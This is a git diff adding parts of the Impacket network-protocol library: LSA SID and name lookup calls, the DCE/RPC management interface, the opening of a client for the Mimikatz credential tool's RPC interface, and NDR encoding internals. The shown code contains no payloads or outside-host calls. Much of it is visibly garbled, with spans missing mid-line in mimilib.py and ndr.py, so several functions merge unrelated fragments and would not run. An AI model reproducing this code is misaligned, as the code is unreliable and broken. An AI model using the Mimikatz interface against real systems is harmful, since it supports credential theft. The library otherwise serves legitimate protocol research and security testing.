LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY), + ('MaxEntries', ULONG), + ) + +class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER): + referent = ( + ('Data', LSAPR_REFERENCED_DOMAIN_LIST), + ) + +# 2.2.14 LSA_TRANSLATED_SID +class LSA_TRANSLATED_SID(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('RelativeId', ULONG), + ('DomainIndex', LONG), + ) + +# 2.2.15 LSAPR_TRANSLATED_SIDS +class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray): + item = LSA_TRANSLATED_SID + +class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSA_TRANSLATED_SID_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSA_TRANSLATED_SID_ARRAY), + ) + +# 2.2.16 LSAP_LOOKUP_LEVEL +class LSAP_LOOKUP_LEVEL(NDRENUM): + class enumItems(Enum): + LsapLookupWksta = 1 + LsapLookupPDC = 2 + LsapLookupTDL = 3 + LsapLookupGC = 4 + LsapLookupXForestReferral = 5 + LsapLookupXForestResolve = 6 + LsapLookupRODCReferralToFullDC = 7 + +# 2.2.17 LSAPR_SID_INFORMATION +class LSAPR_SID_INFORMATION(NDRSTRUCT): + structure = ( + ('Sid', PRPC_SID), + ) + +# 2.2.18 LSAPR_SID_ENUM_BUFFER +class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray): + item = LSAPR_SID_INFORMATION + +class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_SID_INFORMATION_ARRAY), + ) + +class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY), + ) + +# 2.2.19 LSAPR_TRANSLATED_NAME +class LSAPR_TRANSLATED_NAME(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Name', RPC_UNICODE_STRING), + ('DomainIndex', LONG), + ) + +# 2.2.20 LSAPR_TRANSLATED_NAMES +class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_NAME + +class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_NAME_ARRAY), + ) + +class LSAPR_TRANSLATED_NAMES(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Names', PLSAPR_TRANSLATED_NAME_ARRAY), + ) + +# 2.2.21 LSAPR_TRANSLATED_NAME_EX +class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Name', RPC_UNICODE_STRING), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.22 LSAPR_TRANSLATED_NAMES_EX +class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_NAME_EX + +class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY), + ) + +class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY), + ) + +# 2.2.23 LSAPR_TRANSLATED_SID_EX +class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('RelativeId', ULONG), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.24 LSAPR_TRANSLATED_SIDS_EX +class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_SID_EX + +class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY), + ) + +# 2.2.25 LSAPR_TRANSLATED_SID_EX2 +class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Sid', PRPC_SID), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2 +class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_SID_EX2 + +class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY), + ) + +class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): + item = RPC_UNICODE_STRING + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.4.4 LsarGetUserName (Opnum 45) +class LsarGetUserName(NDRCALL): + opnum = 45 + structure = ( + ('SystemName', LPWSTR), + ('UserName', PRPC_UNICODE_STRING), + ('DomainName', PRPC_UNICODE_STRING), + ) + +class LsarGetUserNameResponse(NDRCALL): + structure = ( + ('UserName', PRPC_UNICODE_STRING), + ('DomainName', PRPC_UNICODE_STRING), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.5 LsarLookupNames4 (Opnum 77) +class LsarLookupNames4(NDRCALL): + opnum = 77 + structure = ( + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames4Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.6 LsarLookupNames3 (Opnum 68) +class LsarLookupNames3(NDRCALL): + opnum = 68 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames3Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.7 LsarLookupNames2 (Opnum 58) +class LsarLookupNames2(NDRCALL): + opnum = 58 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames2Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.8 LsarLookupNames (Opnum 14) +class LsarLookupNames(NDRCALL): + opnum = 14 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ) + +class LsarLookupNamesResponse(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.9 LsarLookupSids3 (Opnum 76) +class LsarLookupSids3(NDRCALL): + opnum = 76 + structure = ( + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupSids3Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.10 LsarLookupSids2 (Opnum 57) +class LsarLookupSids2(NDRCALL): + opnum = 57 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupSids2Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.11 LsarLookupSids (Opnum 15) +class LsarLookupSids(NDRCALL): + opnum = 15 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ) + +class LsarLookupSidsResponse(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 14 : (LsarLookupNames, LsarLookupNamesResponse), + 15 : (LsarLookupSids, LsarLookupSidsResponse), + 45 : (LsarGetUserName, LsarGetUserNameResponse), + 57 : (LsarLookupSids2, LsarLookupSids2Response), + 58 : (LsarLookupNames2, LsarLookupNames2Response), + 68 : (LsarLookupNames3, LsarLookupNames3Response), + 76 : (LsarLookupSids3, LsarLookupSids3Response), + 77 : (LsarLookupNames4, LsarLookupNames4Response), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hLsarGetUserName(dce, userName = NULL, domainName = NULL): + request = LsarGetUserName() + request['SystemName'] = NULL + request['UserName'] = userName + request['DomainName'] = domainName + return dce.request(request) + +def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames4() + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames3() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames2() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): + request = LsarLookupNames() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + + return dce.request(request) + +def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupSids2() + request['PolicyHandle'] = policyHandle + request['SidEnumBuffer']['Entries'] = len(sids) + for sid in sids: + itemn = LSAPR_SID_INFORMATION() + itemn['Sid'].fromCanonical(sid) + request['SidEnumBuffer']['SidInfo'].append(itemn) + + request['TranslatedNames']['Names'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): + request = LsarLookupSids() + request['PolicyHandle'] = policyHandle + request['SidEnumBuffer']['Entries'] = len(sids) + for sid in sids: + itemn = LSAPR_SID_INFORMATION() + itemn['Sid'].fromCanonical(sid) + request['SidEnumBuffer']['SidInfo'].append(itemn) + + request['TranslatedNames']['Names'] = NULL + request['LookupLevel'] = lookupLevel + + return dce.request(request) diff --git a/impacket/dcerpc/v5/mgmt.py b/impacket/dcerpc/v5/mgmt.py new file mode 100644 index 0000000..d31b497 --- /dev/null +++ b/impacket/dcerpc/v5/mgmt.py @@ -0,0 +1,169 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [C706] Remote Management Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray +from impacket.dcerpc.v5.epm import PRPC_IF_ID +from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin +from impacket import nt_errors + +MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +class rpc_if_id_p_t_array(NDRUniConformantArray): + item = PRPC_IF_ID + +class rpc_if_id_vector_t(NDRSTRUCT): + structure = ( + ('count',ULONG), + ('if_id',rpc_if_id_p_t_array), + ) + structure64 = ( + ('count',ULONGLONG), + ('if_id',rpc_if_id_p_t_array), + ) + +class rpc_if_id_vector_p_t(NDRPOINTER): + referent = ( + ('Data', rpc_if_id_vector_t), + ) + +error_status = ULONG +################################################################################ +# STRUCTURES +################################################################################ + +################################################################################ +# RPC CALLS +################################################################################ +class inq_if_ids(NDRCALL): + opnum = 0 + structure = ( + ) + +class inq_if_idsResponse(NDRCALL): + structure = ( + ('if_id_vector', rpc_if_id_vector_p_t), + ('status', error_status), + ) + +class inq_stats(NDRCALL): + opnum = 1 + structure = ( + ('count', ULONG), + ) + +class inq_statsResponse(NDRCALL): + structure = ( + ('count', ULONG), + ('statistics', DWORD_ARRAY), + ('status', error_status), + ) + +class is_server_listening(NDRCALL): + opnum = 2 + structure = ( + ) + +class is_server_listeningResponse(NDRCALL): + structure = ( + ('status', error_status), + ) + +class stop_server_listening(NDRCALL): + opnum = 3 + structure = ( + ) + +class stop_server_listeningResponse(NDRCALL): + structure = ( + ('status', error_status), + ) + +class inq_princ_name(NDRCALL): + opnum = 4 + structure = ( + ('authn_proto', ULONG), + ('princ_name_size', ULONG), + ) + +class inq_princ_nameResponse(NDRCALL): + structure = ( + ('princ_name', NDRUniConformantVaryingArray), + ('status', error_status), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (inq_if_ids, inq_if_idsResponse), + 1 : (inq_stats, inq_statsResponse), + 2 : (is_server_listening, is_server_listeningResponse), + 3 : (stop_server_listening, stop_server_listeningResponse), + 4 : (inq_princ_name, inq_princ_nameResponse), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hinq_if_ids(dce): + request = inq_if_ids() + return dce.request(request) + +def hinq_stats(dce, count = 4): + request = inq_stats() + request['count'] = count + return dce.request(request) + +def his_server_listening(dce): + request = is_server_listening() + return dce.request(request, checkError=False) + +def hstop_server_listening(dce): + request = stop_server_listening() + return dce.request(request) + +def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): + request = inq_princ_name() + request['authn_proto'] = authn_proto + request['princ_name_size'] = princ_name_size + return dce.request(request, checkError=False) diff --git a/impacket/dcerpc/v5/mimilib.py b/impacket/dcerpc/v5/mimilib.py new file mode 100644 index 0000000..e20a3cc --- /dev/null +++ b/impacket/dcerpc/v5/mimilib.py @@ -0,0 +1,239 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Mimikatz Interface implementation, based on @gentilkiwi IDL +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from __future__ import division +from __future__ import print_function +import binascii +import random + +from impacket import nt_errors +from impacket.dcerpc.v5.dtypes import DWORD, ULONG +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin +from impacket.structure import Structure + +MSRPC_UUID_MIMIKATZ = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +CALG_DH_EPHEM = 0x0000aa02 +TPUBLICKEYBLOB = 0x6 +CUR_BLOB_VERSION = 0x2 +ALG_ID = DWORD +CALG_RC4 = 0x6801 + +################################################################################ +# STRUCTURES +################################################################################ +class PUBLICKEYSTRUC(Structure): + structure = ( + ('bType','B=0'), + ('bVersion','B=0'), + ('reserved',' 0: + pad = (alignment - (soFar % alignment)) % alignment + else: + pad = 0 + + return pad + + def getData(self, soFar = 0): + data = b'' + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + # Alignment of Primitive Types + + # NDR enforces NDR alignment of primitive data; that is, any primitive of size n + # octets is aligned at a octet stream index that is a multiple of n. + # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates + # the number of an octet in an octet stream when octets are numbered, beginning with 0, + # from the first octet in the stream. Where necessary, an alignment gap, consisting of + # octets of unspecified value, precedes the representation of a primitive. The gap is + # of the smallest size sufficient to align the primitive. + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data += b'\xbf'*pad + + res = self.pack(fieldName, fieldTypeOrClass, soFar) + + data += res + soFar += len(res) + except Exception as e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def fromString(self, data, offset=0): + offset0 = offset + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + # Alignment of Primitive Types + + # NDR enforces NDR alignment of primitive data; that is, any primitive of size n + # octets is aligned at a octet stream index that is a multiple of n. + # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates + # the number of an octet in an octet stream when octets are numbered, beginning with 0, + # from the first octet in the stream. Where necessary, an alignment gap, consisting of + # octets of unspecified value, precedes the representation of a primitive. The gap is + # of the smallest size sufficient to align the primitive. + offset += self.calculatePad(fieldTypeOrClass, offset) + + offset += self.unpack(fieldName, fieldTypeOrClass, data, offset) + except Exception as e: + LOG.error(str(e)) + LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256])) + raise + return offset - offset0 + + def pack(self, fieldName, fieldTypeOrClass, soFar = 0): + if isinstance(self.fields[fieldName], NDR): + return self.fields[fieldName].getData(soFar) + + data = self.fields[fieldName] + # void specifier + if fieldTypeOrClass[:1] == '_': + return b'' + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + try: + return self.pack(fieldName, two[0], soFar) + except: + self.fields[fieldName] = eval(two[1], {}, self.fields) + return self.pack(fieldName, two[0], soFar) + + if data is None: + raise Exception('Trying to pack None') + + # literal specifier + if fieldTypeOrClass[:1] == ':': + if hasattr(data, 'getData'): + return data.getData() + return data + + # struct like specifier + return pack(fieldTypeOrClass, data) + + def unpack(self, fieldName, fieldTypeOrClass, data, offset=0): + if isinstance(self.fields[fieldName], NDR): + return self.fields[fieldName].fromString(data, offset) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.unpack(fieldName, two[0], data, offset) + + # literal specifier + if fieldTypeOrClass == ':': + if isinstance(fieldTypeOrClass, NDR): + return self.fields[fieldName].fromString(data, offset) + else: + dataLen = self.getDataLen(data, offset) + self.fields[fieldName] = data[offset:offset+dataLen] + return dataLen + + # struct like specifier + self.fields[fieldName] = unpack_from(fieldTypeOrClass, data, offset)[0] + + return calcsize(fieldTypeOrClass) + + def calcPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.calcPackSize(two[0], data) + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return len(data) + + # struct like specifier + return calcsize(fieldTypeOrClass) + + def calcUnPackSize(self, fieldTypeOrClass, data, offset=0): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) - offset + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.calcUnPackSize(two[0], data, offset) + + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + return len(data) - offset + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return len(data) - offset + + # struct like specifier + return calcsize(fieldTypeOrClass) + +# NDR Primitives +class NDRSMALL(NDR): + align = 1 + structure = ( + ('Data', 'b=0'), + ) + +class NDRUSMALL(NDR): + align = 1 + structure = ( + ('Data', 'B=0'), + ) + +class NDRBOOLEAN(NDRSMALL): + def dump(self, msg = None, indent = 0): + if msg is None: + msg = self.__class__.__name__ + if msg != '': + print(msg, end=' ') + + if self['Data'] > 0: + print(" TRUE") + else: + print(" FALSE") + +class NDRCHAR(NDR): + align = 1 + structure = ( + ('Data', 'c'), + ) + +class NDRSHORT(NDR): + align = 2 + structure = ( + ('Data', ' 0: + soFar += pad0 + arrayPadding = b'\xef'*pad0 + else: + arrayPadding = b'' + # And now, let's pretend we put the item in + soFar += arrayItemSize + data = self.fields[fieldName].getData(soFar) + data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data + else: + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data += b'\xcc'*pad + + data += self.pack(fieldName, fieldTypeOrClass, soFar) + + # Any referent information to pack? + if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): + data += self.fields[fieldName].getDataReferents(soFar0 + len(data)) + data += self.fields[fieldName].getDataReferent(soFar0 + len(data)) + soFar = soFar0 + len(data) + + except Exception as e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def calcPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + answer = 0 + for each in data: + if self.isNDR(self.item): + item = ':' + else: + item = self.item + answer += self.calcPackSize(item, each) + return answer + else: + return NDR.calcPackSize(self, fieldTypeOrClass, data) + + def getArrayMaximumSize(self, fieldName): + if self.fields[fieldName].fields['MaximumCount'] is not None and self.fields[fieldName].fields['MaximumCount'] > 0: + return self.fields[fieldName].fields['MaximumCount'] + else: + return self.fields[fieldName].getArraySize() + + def getArraySize(self, fieldName, data, offset=0): + if self._isNDR64: + arrayItemSize = 8 + arrayUnPackStr = ' align: + align = tmpAlign + return align + + def getData(self, soFar = 0): + data = b'' + soFar0 = soFar + for fieldName, fieldTypeOrClass in self.structure: + try: + if self.isNDR(fieldTypeOrClass) is False: + # If the item is not NDR (e.g. ('MaximumCount', ' 0: + soFar += pad + data += b'\xca'*pad + + res = self.pack(fieldName, fieldTypeOrClass, soFar) + data += res + soFar = soFar0 + len(data) + except Exception as e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def pack(self, fieldName, fieldTypeOrClass, soFar = 0): + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + answer = b'' + if self.isNDR(self.item): + item = ':' + dataClass = self.item + self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64) + else: + item = self.item + dataClass = None + self.fields['_tmpItem'] = item + + for each in (self.fields[fieldName]): + pad = self.calculatePad(self.item, len(answer)+soFar) + if pad > 0: + answer += b'\xdd' * pad + if dataClass is None: + if item == 'c' and PY3 and isinstance(each, int): + # Special case when dealing with PY3, here we have an integer we need to convert + each = bytes([each]) + answer += pack(item, each) + else: + answer += each.getData(len(answer)+soFar) + + if dataClass is not None: + for each in self.fields[fieldName]: + if isinstance(each, NDRCONSTRUCTEDTYPE): + answer += each.getDataReferents(len(answer)+soFar) + answer += each.getDataReferent(len(answer)+soFar) + + del(self.fields['_tmpItem']) + if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray): + # First field points to a field with the amount of items + self.setArraySize(len(self.fields[fieldName])) + else: + self.fields[two[1]] = len(self.fields[fieldName]) + + return answer + else: + return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar) + + def fromString(self, data, offset=0): + offset0 = offset + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + if self.isNDR(fieldTypeOrClass) is False: + # If the item is not NDR (e.g. ('MaximumCount', ' 0: + soFarItems +=pad + if dataClassOrCode is None: + nsofar = soFarItems + calcsize(item) + answer.append(unpack_from(item, data, offset+soFarItems)[0]) + else: + itemn = dataClassOrCode(isNDR64=self._isNDR64) + size = itemn.fromString(data, offset+soFarItems) + answer.append(itemn) + nsofar += size + pad + numItems -= 1 + soFarItems = nsofar + + if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE): + # We gotta go over again, asking for the referents + answer2 = [] + for itemn in answer: + size = itemn.fromStringReferents(data, soFarItems+offset) + soFarItems += size + size = itemn.fromStringReferent(data, soFarItems+offset) + soFarItems += size + answer2.append(itemn) + answer = answer2 + del answer2 + + del(self.fields['_tmpItem']) + + self.fields[fieldName] = answer + return soFarItems + offset - offset0 + else: + return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, offset) + +class NDRUniFixedArray(NDRArray): + structure = ( + ('Data',':'), + ) + +# Uni-dimensional Conformant Arrays +class NDRUniConformantArray(NDRArray): + item = 'c' + structure = ( + #('MaximumCount', '